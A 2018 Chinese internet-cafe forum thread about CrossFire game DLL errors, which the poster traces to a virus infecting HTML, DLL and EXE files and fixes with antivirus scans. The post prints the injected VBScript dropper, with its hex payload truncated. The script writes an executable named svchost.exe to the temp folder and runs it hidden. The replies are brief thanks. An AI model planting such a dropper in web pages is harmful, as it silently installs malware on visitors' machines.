400-001-5636
5636网吧论坛 论坛 游戏更新软件 穿越火线出现Atlxxx文件报错的问题
发帖 回复
查看: 860 | 回复: 6
穿越火线出现Atlxxx文件报错的问题

156

主题

1248

帖子

楼主
发表于 2018-01-22 09:39 |

最近出现CF游戏文件反复报错,修复更新后正常, 但是没过多久,可能又来了,反反复复。经过确认发现问题所在,这里分享给大家!

【现象】

穿越火线提示talxxx.dll文件报错;如图:

1.jpg

【原因】

由于文件被捆绑插入代码或文件异常导致CF加载文件无法通过校验,提示的报错。

【处理方法】

更新服务器上杀毒、或客户机上杀毒。

【解决过程】

1、文件修复更新后,重启客户机可以正常进入游戏。但是过一段时间问题又来了。

2、使用Process monitor查看,发现IE浏览器不停的在对文件进行修改。但是自己没有运行IE浏览器,使用进程管理器发现进程里有IE浏览器的进程。结束后,修复更新游戏正常。

3、怀疑是中毒了,使用360查毒后确实发现一堆病毒。而且几乎感染了系统里所有的html文件,以及部分dll、exe文件。

4、并对会对所有的html文件末端,插入一窜代码,具体代码如下:

<SCRIPT Language=VBScript><!--  

DropFileName = "svchost.exe"                                                 

WriteData = "4D5A90000300000004000000F...........................此处省去那个字段...

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT>

复制代码

从这段代码上看,主要是创建一个 svchost.exe文件,然后把代码写入到这个文件中,最后运行这个exe程序。至于这个程序主要做什么操作,没有做研究。

最终解决方法,对系统进行杀毒。) 


91

主题

1062

帖子

2#
发表于 2018-01-22 09:46 |

来看看,顶啊 

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。

148

主题

938

帖子

3#
发表于 2018-01-22 09:46 |

我是来打酱油的

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。

156

主题

1248

帖子

4#
发表于 2018-01-22 09:47 |

看看。。学习 

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。

271

主题

2841

帖子

5#
发表于 2018-01-22 09:47 |

感谢楼主分享

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。

188

主题

1310

帖子

6#
发表于 2018-01-22 09:47 |

谢谢。留个脚印

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。

135

主题

1073

帖子

7#
发表于 2018-01-22 09:47 |

谢谢楼主分享,看看先

欢迎加入网吧业主交流群,大家共同交流、学习和分享!1群:397580722,2群:614859884,3群:609150654,微信群添加好友:wbzz5636,群主邀请入群。
发帖
您需要 绑定账号 后才可以发帖
换一张

RE:

发表于

换一张

请选择理由